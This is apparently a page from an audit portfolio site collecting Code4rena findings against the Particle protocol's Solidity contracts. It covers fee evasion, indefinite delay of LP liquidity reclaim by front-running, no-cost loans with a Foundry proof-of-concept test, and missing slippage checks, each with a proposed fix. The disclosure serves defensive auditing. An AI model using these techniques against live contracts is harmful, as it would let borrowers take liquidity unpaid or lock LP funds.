satisfactory
duplicate-54

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L193 https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L501

Vulnerability details

Vulnerability details

When openPosition, we will charge a certain fee, the calculation formula is as follows: ((marginFrom + amountFromBorrowed) * FEE_FACTOR) / Base.BASIS_POINT

It will include marginFrom, which is mainly used to ensure enough collateralTo after swap(), and an extra part will be deposited as tokenFromPremium

But when addPremium(), no fee is charged.

In this way, we can just ensure enough collateralTo after swap in openPosition(), deliberately let tokenFromPremiumPortion == 0, and then use addPremium() to increase tokenFromPremiumPortion, thereby evading the fee generated by this part of marginFrom

Impact

Using addPremium() to evade the fees that should be paid from marginFrom during openPosition

Charge fees for addPremium()

    function addPremium(uint96 lienId, uint128 premium0, uint128 premium1) external override nonReentrant {
...

+       uint256 fee0Amount;
+       uint256 fee1Amount;
+       if (lien.zeroForOne) {
+           fee0Amount = (premium0 * FEE_FACTOR) / Base.BASIS_POINT;
+           uint256 treasuryAmount =fee0Amount * _treasuryRate / Base.BASIS_POINT;
+           _treasury[token0] += treasuryAmount;                
+           lps.addTokensOwed(lien.tokenId, uint128(fee0Amount - treasuryAmount), 0);
+       } else {
+          fee1Amount = (premium1 * FEE_FACTOR) / Base.BASIS_POINT;
+           uint256 treasuryAmount =fee1Amount * _treasuryRate / Base.BASIS_POINT;
+           _treasury[token1] += treasuryAmount;                
+           lps.addTokensOwed(lien.tokenId, 0 , uint128(fee1Amount - treasuryAmount));
+       }

        liens.updatePremium(
            lienKey,
-           uint24(((token0Premium + premium0) * Base.BASIS_POINT) / collateral0),
+           uint24(((token0Premium + premium0 - fee0Amount) * Base.BASIS_POINT) / collateral0),
-           uint24(((token1Premium + premium1) * Base.BASIS_POINT) / collateral1)
+           uint24(((token1Premium + premium1 - fee1Amount) * Base.BASIS_POINT) / collateral1)
        );

Assessed type

Other

#0 - c4-judge

2023-12-21T22:20:28Z

0xleastwood marked the issue as primary issue

#1 - romeroadrian

2023-12-22T14:25:56Z

Duplicate #54

#2 - c4-judge

2023-12-22T19:18:53Z

0xleastwood marked the issue as duplicate of #54

#3 - c4-judge

2023-12-24T12:32:20Z

0xleastwood marked the issue as satisfactory

Findings Information

🌟 Selected for report: adriro

Also found by: bin2chen, immeas, ladboy233

Labels

bug
2 (Med Risk)
satisfactory
duplicate-52

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L365

Vulnerability details

Vulnerability details

Currently, there are three ways to close a position:

  1. The borrower voluntarily closes it through closePosition().
  2. If Premium is insufficient, it is forcibly closed by liquidatePosition().
  3. After the loan expires, LP forcibly closes it by setting lien.renewalCutoffTime.

The third way is judged as follows:

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...

        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
@>            (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
@>                  lien.startTime + LOAN_TERM < block.timestamp)) 
        ) {
            revert Errors.LiquidationNotMet();
        }

The problem is that this LOAN_TERM can be modified by the administrator.

For example: LOAN_TERM changes from 14 days to 7 days.

The borrower sees 14 days at the time of borrowing, and plans to close the position after 13 days to avoid being forcibly closed and losing the liquidation fee.

However, because the administrator changed LOAN_TERM to 7 days, it was liquidated in advance, resulting in the borrower need to pay the liquidation fee tokenPremium * LIQUIDATION_REWARD_FACTOR/Base.BASIS_POINT.

The loan contract should not be modified during the loan process. It is unreasonable to lose a liquidation fee as a result.

It is recommended that each lien should save the current LOAN_TERM as a snapshot.

Impact

Changing LOAN_TERM from large to small may cause the borrower's position to be liquidated in advance, resulting in additional liquidation fees.

Add a loanTerm snapshot to lien.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
..

        liens[keccak256(abi.encodePacked(msg.sender, lienId = _nextRecordId++))] = Lien.Info({
            tokenId: uint40(params.tokenId),
            liquidity: params.liquidity,
            token0PremiumPortion: cache.token0PremiumPortion,
            token1PremiumPortion: cache.token1PremiumPortion,
            startTime: uint32(block.timestamp),
+          loanTerm: LOAN_TERM,
            feeGrowthInside0LastX128: cache.feeGrowthInside0LastX128,
            feeGrowthInside1LastX128: cache.feeGrowthInside1LastX128,
            zeroForOne: params.zeroForOne
        });

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...
        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
                (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
-                   lien.startTime + LOAN_TERM < block.timestamp)) 
+                   lien.startTime + lien.loanTerm < block.timestamp)) 
        ) {
            revert Errors.LiquidationNotMet();
        }

library Lien {
    struct Info {
        uint40 tokenId;
        uint128 liquidity;
        uint24 token0PremiumPortion;
        uint24 token1PremiumPortion;
        uint32 startTime;
+      uint256 loanTerm;
        uint256 feeGrowthInside0LastX128;
        uint256 feeGrowthInside1LastX128;
        bool zeroForOne;
    }



## Assessed type

Other

#0 - c4-judge

2023-12-21T22:05:04Z

0xleastwood marked the issue as duplicate of #52

#1 - c4-judge

2023-12-23T22:41:00Z

0xleastwood marked the issue as satisfactory

Findings Information

🌟 Selected for report: immeas

Also found by: bin2chen

Labels

2 (Med Risk)
satisfactory
duplicate-44

Awards

Data not available

External Links

Judge has assessed an item in Issue #37 as 2 risk. The relevant finding follows:

[L-02] openPosition() maybe underflow in openPosition() -> Base.swap()

function openPosition( DataStruct.OpenPositionParams calldata params ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {

... (cache.amountSpent, cache.amountReceived) = Base.swap( cache.tokenFrom, cache.tokenTo, params.amountSwap, @> collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement DEX_AGGREGATOR, params.data ); The formula collateralTo - cache.amountToBorrowed - params.marginTo may underflow.

This is especially true if the user wants to increase token0PremiumPortion, thereby transferring to marginTo.

For example: (price outOfRange) collateralTo = 100 amountToBorrowed = 100 marginTo = 10 (want to set token0PremiumPortion >10%)

collateralTo - amountToBorrowed - marginTo will underflow.

Suggestions:

(cache.amountSpent, cache.amountReceived) = Base.swap( cache.tokenFrom, cache.tokenTo, params.amountSwap,
  • collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement
  • (cache.amountToBorrowed + params.marginTo) > collateralTo ? 0 : (collateralTo - cache.amountToBorrowed - params.marginTo), DEX_AGGREGATOR, params.data );

#0 - c4-judge

2023-12-26T11:25:56Z

0xleastwood marked the issue as duplicate of #44

#1 - c4-judge

2023-12-26T11:26:14Z

0xleastwood marked the issue as satisfactory

Findings Information

🌟 Selected for report: bin2chen

Labels

bug
2 (Med Risk)
primary issue
selected for report
sponsor acknowledged
M-08

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L135

Vulnerability details

Vulnerability details

LP has only one way to retrieve token, first decreaseLiquidity(), then retrieve through the collectLiquidity() method.

collectLiquidity() only has one parameter, tokenId.

    function collectLiquidity(
        uint256 tokenId
    ) external override nonReentrant returns (uint256 amount0Collected, uint256 amount1Collected) {
        (amount0Collected, amount1Collected) = lps.collectLiquidity(tokenId);
    }

So LP can only transfer the retrieved token to himself: msg.sender.

This leads to a problem. If LP enters the blacklist of a certain token, such as the USDC blacklist,

Because the recipient cannot be specified (lps[] cannot be transferred), this will cause another token not to be retrieved, such as WETH.

Refer to NonfungiblePositionManager.collect() and UniswapV3Pool.collect(), both can specify recipient to avoid this problem.

Impact

collectLiquidity() cannot specify the recipient, causing LP to enter the blacklist of a certain token, and both tokens cannot be retrieved.

    function collectLiquidity(
        uint256 tokenId,
+      address recipient
    ) external override nonReentrant returns (uint256 amount0Collected, uint256 amount1Collected) {
...

Assessed type

Other

#0 - c4-judge

2023-12-21T22:10:18Z

0xleastwood marked the issue as primary issue

#1 - wukong-particle

2023-12-23T05:59:44Z

#2 - 0xleastwood

2023-12-23T22:43:59Z

I would argue this is good design and should not be changed to allow for arbitrary recipients. If a token is blacklisted, and a protocol allows the user to circumvent this blacklist, then they may potentially be liable for the behaviour of this individual. Better to take an agnostic approach and leave it as is unless liquidations are ultimately being limited because of this.

#3 - c4-judge

2023-12-23T22:44:14Z

0xleastwood marked the issue as selected for report

#4 - c4-sponsor

2023-12-24T09:20:32Z

wukong-particle (sponsor) acknowledged

#5 - wukong-particle

2023-12-24T09:20:35Z

I agree with the judge. We shouldn't facilitate to temper the blacklist. So only acknowledging the issue.

Findings Information

🌟 Selected for report: bin2chen

Also found by: adriro, immeas

Labels

bug
2 (Med Risk)
primary issue
selected for report
sponsor confirmed
M-09

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L135

Vulnerability details

Vulnerability details

If LP wants to retrieve the Liquidity that has been lent out, it can set a renewalCutoffTime through reclaimLiquidity(). If the borrower does not voluntarily close, liquidatePosition() can be used to forcibly close the position after the loan expires.

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...
        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
@>              (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
@>                 lien.startTime + LOAN_TERM < block.timestamp))
        ) {
            revert Errors.LiquidationNotMet();
        }

To forcibly close the position, we still need to wait for the expiration block.timestamp > lien.startTime + LOAN_TERM.

But currently, openPosition() is not restricted by renewalCutoffTime, as long as there is Liquidity, we can open a position.

In this way, malicious borrowers can continuously occupy Liquidity by closing and reopening before expiration. For example:

  1. The borrower executes open position, LOAN_TERM = 7 days
  2. LP executes reclaimLiquidity() to retrieve Liquidity
  3. On the 6th day, borrower execute closePosition() -> openPosition()
  4. The new lien.startTime = block.timestamp
  5. LP needs to wait another 7 days
  6. The borrower repeats the 3rd step, indefinitely postponing

The borrower may need to pay a certain fee when openPosition(). If the benefits can be expected, it is very cost-effective.

Impact

Malicious borrowers can force LPs to be unable to retrieve Liquidity by closing and reopening the Position before it expires.

It is recommended that when openPosition(), if the current time is less than renewalCutoffTime + LOAN_TERM + 1 days, do not allow new positions to be opened, giving LP a time window for retrieval.

Or set a new flag TOKEN_CLOSE = true to allow lp to specify that Liquidity will no longer be lent out.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
...
+     require(block.timestamp > (lps[params.tokenId].renewalCutoffTime + LOAN_TERM + 1 days),"LP Restrict Open ");
    

Assessed type

Other

#0 - c4-judge

2023-12-21T22:11:11Z

0xleastwood marked the issue as primary issue

#1 - romeroadrian

2023-12-22T14:28:00Z

Duplicate #53

#2 - wukong-particle

2023-12-23T05:56:19Z

This is an interesting discovery. Our original thinking was after reclaim, LP can withdraw liquidity in one tx via multicall. But the problem here is that the already borrowed liquidity can be extended indefinitely. We should probably just restrict new positions to be opened if reclaim is called. And the suggested change is also valid. Thanks!

#3 - c4-judge

2023-12-23T23:13:49Z

0xleastwood marked the issue as selected for report

#4 - c4-sponsor

2023-12-24T09:18:50Z

wukong-particle (sponsor) confirmed

Findings Information

🌟 Selected for report: bin2chen

Also found by: ladboy233

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
selected for report
sponsor confirmed
M-10

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L509

Vulnerability details

Vulnerability details

LP can set renewalCutoffTime=block.timestamp by executing reclaimLiquidity(), to force close position

    function liquidatePosition(
        DataStruct.ClosePositionParams calldata params,
        address borrower
    ) external override nonReentrant {
...

        if (
            !((closeCache.tokenFromPremium < liquidateCache.tokenFromOwed ||
                closeCache.tokenToPremium < liquidateCache.tokenToOwed) ||
@>              (lien.startTime < lps.getRenewalCutoffTime(lien.tokenId) &&
                    lien.startTime + LOAN_TERM < block.timestamp)) 
        ) {
            revert Errors.LiquidationNotMet();
        }

The restrictions are:

  1. Loan expires
  2. lien.startTime < lps.getRenewalCutoffTime(lien.tokenId)

Since addPremium() will modify lien.startTime = block.timestamp we need to restrict , if lps.getRenewalCutoffTime(lien.tokenId) > lien.startTime, addPremium() cannot be executed. Otherwise, addPremium() can indefinitely postpone liquidatePosition() to forcibly close position.

    function addPremium(uint96 lienId, uint128 premium0, uint128 premium1) external override nonReentrant {
..
@>     if (lps.getRenewalCutoffTime(lien.tokenId) > lien.startTime) revert Errors.RenewalDisabled();

The problem is that this judgment condition is >, so if lps.getRenewalCutoffTime(lien.tokenId) == lien.startTime, it can be executed.

This leads to, the borrower can monitor the mempool, if LP executes reclaimLiquidity(), front-run or follow closely to execute addPremium(0). It can be executed successfully, resulting in lien.startTime == lps[tokenId].renewalCutoffTime == block.timestamp.

In this case, liquidatePosition() will fail , because the current condition for liquidatePosition() is lien.startTime < lps.getRenewalCutoffTime(lien.tokenId), liquidatePosition() will revert Errors.LiquidationNotMet();.

So by executing reclaimLiquidity() and addPremium() in the same block, it can maliciously continuously prevent LP from retrieving Liquidity.

Impact

Malicious borrowers can follow reclaimLiquidity() then execute addPremium() to invalidate renewalCutoffTime, thereby maliciously preventing the position from being forcibly closed, and LP cannot retrieve Liquidity.

Use >= lien.startTime to replace > lien.startTime.

In this way, the borrower has at most one chance and cannot postpone indefinitely.

    function addPremium(uint96 lienId, uint128 premium0, uint128 premium1) external override nonReentrant {
..
-       if (lps.getRenewalCutoffTime(lien.tokenId) > lien.startTime) revert Errors.RenewalDisabled();
+       if (lps.getRenewalCutoffTime(lien.tokenId) >= lien.startTime) revert Errors.RenewalDisabled();

Assessed type

Other

#0 - c4-judge

2023-12-21T22:12:35Z

0xleastwood marked the issue as primary issue

#1 - wukong-particle

2023-12-23T05:50:57Z

Good discovery. The suggested change for > into >= is pretty elegant and smart. Thanks!

#2 - c4-judge

2023-12-23T19:40:54Z

0xleastwood marked the issue as selected for report

#3 - 0xleastwood

2023-12-23T21:50:46Z

I would consider this pretty severe, not only can you prevent an LP from receiving their liquidity back. The borrower is able to maintain an unhealthy position. Upgrading to high severity.

#4 - c4-judge

2023-12-23T21:51:06Z

0xleastwood changed the severity to 3 (High Risk)

#5 - c4-sponsor

2023-12-24T09:17:45Z

wukong-particle (sponsor) confirmed

#6 - romeroadrian

2023-12-30T14:32:16Z

I would consider this pretty severe, not only can you prevent an LP from receiving their liquidity back. The borrower is able to maintain an unhealthy position. Upgrading to high severity.

I don't think this a high severity issue. The borrower can front-run reclaimLiquidity() (which is also a difficult task to successfully execute every time, and impossible if using private mempools), but the position can still be liquidated if unhealthy, since the liquidation condition also considers an scenario where the margin doesn't cover fees (closeCache.tokenFromPremium < liquidateCache.tokenFromOwed || closeCache.tokenToPremium < liquidateCache.tokenToOwed).

#7 - 0xleastwood

2023-12-31T13:16:29Z

I would consider this pretty severe, not only can you prevent an LP from receiving their liquidity back. The borrower is able to maintain an unhealthy position. Upgrading to high severity.

I don't think this a high severity issue. The borrower can front-run reclaimLiquidity() (which is also a difficult task to successfully execute every time, and impossible if using private mempools), but the position can still be liquidated if unhealthy, since the liquidation condition also considers an scenario where the margin doesn't cover fees (closeCache.tokenFromPremium < liquidateCache.tokenFromOwed || closeCache.tokenToPremium < liquidateCache.tokenToOwed).

Hmm, that is true. There isn't much risk here of generating bad debt so I will downgrade to medium severity. Thanks!

#8 - c4-judge

2023-12-31T13:16:45Z

0xleastwood changed the severity to 2 (Med Risk)

Findings Information

🌟 Selected for report: bin2chen

Also found by: immeas

Labels

bug
2 (Med Risk)
primary issue
selected for report
sponsor confirmed
M-11

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L151

Vulnerability details

Vulnerability details

In openPosition(), it allows token0PremiumPortion and token1PremiumPortion to be 0 at the same time.

In this case, if tokenId enters out_of_price, for example, UpperOutOfRange, anyone might be able to input:

marginFrom = 0 marginTo = 0 amountSwap = 0 zeroForOne = false liquidity > 0

Note: amountFromBorrowed + marginFrom == 0 , so fees ==0

to open a new Position, borrow Liquidity, but without paying any fees. It's basically a no-cost loan.

Impact

out_of_price tokenId, due to the no-cost loan, might lead to the following issues:

  1. Malicious occupation of Liquidity
  2. Since both token0Premium/token1Premium are 0, the liquidator will not execute liquidatePosition(), because there is no profit.
  3. Since both token0Premium/token1Premium are 0, LP cannot get fees, but the borrower might still be able to profit.

Proof of Concept

The following test case demonstrates that if it is out_of_price, anyone can borrow at no cost.

add to OpenPosition.t.sol

    function testZeroFees() public {
        _setupUpperOutOfRange();
        uint128 borrowerLiquidity = _liquidity / _borrowerLiquidityPorition;
        console.log("borrowerLiquidity:",borrowerLiquidity);
        address anyone = address(0x123999);
        vm.startPrank(anyone);
        particlePositionManager.openPosition(
            DataStruct.OpenPositionParams({
                tokenId: _tokenId,
                marginFrom: 0,
                marginTo: 0,
                amountSwap: 0,
                liquidity: borrowerLiquidity,
                tokenFromPremiumPortionMin: 0,
                tokenToPremiumPortionMin: 0,
                marginPremiumRatio: type(uint8).max,
                zeroForOne: false,
                data: ""
            })
        );
        vm.stopPrank();
        (
            ,
            uint128 liquidity,
            ,
            uint128 token0Premium,
            uint128 token1Premium,
            ,
            ,            
        ) = particleInfoReader.getLien(anyone, 0);
        console.log("liquidity:",liquidity);
        console.log("token0Premium:",token0Premium);
        console.log("token1Premium:",token1Premium);
    }
Logs:
  borrowerLiquidity: 1739134199054731
  liquidity: 1739134199054731
  token0Premium: 0
  token1Premium: 0

It is suggested that openPosition() should add a minimum token0PremiumPortion/token1PremiumPortion limit.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
...

+       require(params.tokenFromPremiumPortionMin>=MIN_FROM_PREMIUM_PORTION,"invalid tokenFromPremiumPortionMin");
+       require(params.tokenToPremiumPortionMin>=MIN_TO_PREMIUM_PORTION,"invalid tokenToPremiumPortionMin");

Assessed type

Other

#0 - c4-judge

2023-12-21T22:19:36Z

0xleastwood marked the issue as primary issue

#1 - wukong-particle

2023-12-23T05:44:58Z

It's a good suggestion. We will add minimum premium in contract (current frontend enforces a minimum 1-2%).

#2 - c4-judge

2023-12-23T23:14:56Z

0xleastwood marked the issue as selected for report

#3 - c4-sponsor

2023-12-24T09:13:13Z

wukong-particle (sponsor) confirmed

Findings Information

🌟 Selected for report: ladboy233

Also found by: adriro, bin2chen, immeas, said

Labels

bug
2 (Med Risk)
satisfactory
duplicate-2

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L118 https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L127

Vulnerability details

Vulnerability details

In ParticlePositionManager.mint(), there is slippage protection by params.amount0Min / params.amount1Min

But in increaseLiquidity(), pool.mint() will also be executed There is no slippage protection

    function increaseLiquidity(
        uint256 tokenId,
        uint256 amount0,
        uint256 amount1
    ) external override nonReentrant returns (uint128 liquidity, uint256 amount0Added, uint256 amount1Added) {
        (liquidity, amount0Added, amount1Added) = lps.increaseLiquidity(tokenId, amount0, amount1);
    }

    function increaseLiquidity(
        address token0,
        address token1,
        uint256 tokenId,
        uint256 amount0,
        uint256 amount1
    ) internal returns (uint128 liquidity, uint256 amount0Added, uint256 amount1Added) {
        // approve spending for uniswap's position manager
        TransferHelper.safeApprove(token0, Base.UNI_POSITION_MANAGER_ADDR, amount0);
        TransferHelper.safeApprove(token1, Base.UNI_POSITION_MANAGER_ADDR, amount1);

        // increase liquidity via position manager
        (liquidity, amount0Added, amount1Added) = Base.UNI_POSITION_MANAGER.increaseLiquidity(
            INonfungiblePositionManager.IncreaseLiquidityParams({
                tokenId: tokenId,
                amount0Desired: amount0,
                amount1Desired: amount1,
@>              amount0Min: 0,
@>              amount1Min: 0,
                deadline: block.timestamp
            })
        );

It is recommended to add slippage protection to avoid LP losses

Note: decreaseLiquidity() has a similar problem

Impact

Lack of slippage protection in increaseLiquidity/decreaseLiquidity

    function increaseLiquidity(
        uint256 tokenId,
        uint256 amount0,
        uint256 amount1,
+       uint256 amount0Min,
+       uint256 amount1Min
    ) external override nonReentrant returns (uint128 liquidity, uint256 amount0Added, uint256 amount1Added) {
        (liquidity, amount0Added, amount1Added) = lps.increaseLiquidity(tokenId, amount0, amount1);
+      require(amount0Added>= amount0Min,"invalid amount0Added");
+      require(amount1Added>= amount1Min,"invalid amount1Added");
    }

Assessed type

Uniswap

#0 - c4-judge

2023-12-21T21:38:15Z

0xleastwood marked the issue as duplicate of #2

#1 - c4-judge

2023-12-23T23:01:21Z

0xleastwood marked the issue as satisfactory

Findings Information

🌟 Selected for report: immeas

Also found by: adriro, bin2chen, ladboy233, said

Labels

bug
grade-a
QA (Quality Assurance)
sponsor confirmed
Q-03

Awards

Data not available

External Links

Findings Summary

LabelDescription
L-01It's unreasonable that LP's token0Owed can only be less than or equal to Lien.tokenToPremium, especially when there is a profit
L-02openPosition() maybe underflow
L-03In mint(), it is suggested to judge amount0ToMint/amount1ToMint >0 before executing transferFrom()
L-04suggested ParticlePositionManager use ReentrancyGuardUpgradeable instead of ReentrancyGuard
L-05add a minimum limit to premium0 and premium1 in addPremium()

[L-01] It's unreasonable that LP's token0Owed can only be less than or equal to Lien.tokenToPremium, especially when there is a profit

When calculating the Yield from Borrowed Liquidity that should be paid to LP during closePostion(), the current protocol restricts it to be less than or equal to Lien.tokenToPremium.

This is not reasonable when the borrower is making a profit.

For example: lien.collateral = 100
lien.premium = 20 amountFromAdd = 80 (only repay 80, the borrower still profits 20) token0Owed = 30

According to the current protocol calculation method: LP.token0Owed = 20 (because token0Owed > premium, only get premium, lost 10) borrower profit = 100 + 20 - 80 -20 =20

This way, the document's description that needs to ensure LP's greater than Yield from Borrowed Liquidity cannot be satisfied.

Because the borrower always has a profit, a part of the profit should be deducted to give LP to satisfy greater than Yield from Borrowed Liquidity.

Note: Liquidation will cause premium to be less, LP.token0Owed will be less.

Suggestion: If there is a profit and the Premium is insufficient, deduct a part from the profit to supplement token0Owed.

token0Owed = Math.min(cache.token0Owed,(collateralFrom + cache.tokenFromPremium - cache.amountSpent - cache.amountFromAdd ))

[L-02] openPosition() maybe underflow

in openPosition() -> Base.swap()

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
...
        (cache.amountSpent, cache.amountReceived) = Base.swap(
            cache.tokenFrom,
            cache.tokenTo,
            params.amountSwap,
@>          collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement
            DEX_AGGREGATOR,
            params.data
        );

The formula collateralTo - cache.amountToBorrowed - params.marginTo may underflow.

This is especially true if the user wants to increase token0PremiumPortion, thereby transferring to marginTo.

For example: (price outOfRange) collateralTo = 100 amountToBorrowed = 100 marginTo = 10 (want to set token0PremiumPortion >10%)

collateralTo - amountToBorrowed - marginTo will underflow.

Suggestions:

        (cache.amountSpent, cache.amountReceived) = Base.swap(
            cache.tokenFrom,
            cache.tokenTo,
            params.amountSwap,
-           collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement
+          (cache.amountToBorrowed + params.marginTo) > collateralTo ? 0 : (collateralTo - cache.amountToBorrowed - params.marginTo),
            DEX_AGGREGATOR,
            params.data
        );

[L-03] In mint(), it is suggested to judge amount0ToMint/amount1ToMint >0 before executing transferFrom()

In mint(), regardless of whether the specified amount0ToMint/amount1ToMint is greater than 0, transferFrom() is executed. But when the price is OutOfRange, amount0ToMint or amount1ToMint is not needed. In this case, the user will input 0. This will cause the transfer of some tokens to fail if 0 is transferred. https://github.com/d-xo/weird-erc20/?tab=readme-ov-file#revert-on-zero-value-transfers

suggest:

    function mint(
        mapping(uint256 => Info) storage self,
        DataStruct.MintParams calldata params
    ) internal returns (uint256 tokenId, uint128 liquidity, uint256 amount0Minted, uint256 amount1Minted) {
        // transfer in the tokens
+      if(params.amount0ToMint > 0) {
        TransferHelper.safeTransferFrom(params.token0, msg.sender, address(this), params.amount0ToMint);
+       }
+      if(params.amount0ToMint > 0) {
        TransferHelper.safeTransferFrom(params.token1, msg.sender, address(this), params.amount1ToMint);
+      }

[L-04] suggested ParticlePositionManager use ReentrancyGuardUpgradeable instead of ReentrancyGuard

ParticlePositionManager.sol uses UUPSUpgradeable. It is suggested to use ReentrancyGuardUpgradeable to avoid subsequent upgrade storage collisions. Currently, ReentrancyGuard.sol is used.

contract ParticlePositionManager is
    IParticlePositionManager,
    Ownable2StepUpgradeable,
    UUPSUpgradeable,
    IERC721Receiver,
-   ReentrancyGuard,
+  ReentrancyGuardUpgradeable,
    Multicall
{
function initialize( address dexAggregator, uint256 feeFactor, uint128 liquidationRewardFactor, uint256 loanTerm, uint256 treasuryRate ) external initializer {
  • __ReentrancyGuard_init()

[L-05] add a minimum limit to premium0 and premium1 in addPremium()

addPremium() is used to increase premium, and at the same time, it will modify lien.startTime. lien.startTime will extend the expiration time of the loan. At present, there is no restriction on premium0 and premium1, and both can be 0. In this way, users can extend the expiration time at no cost. It is suggested to add restrictions, at least one of them should have a growth percentage greater than MIN_ADD_PREMIUM_PORTION=10%.

#0 - c4-judge

2023-12-26T11:28:16Z

0xleastwood marked the issue as grade-a

#1 - c4-sponsor

2023-12-29T03:58:54Z

wukong-particle (sponsor) confirmed

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter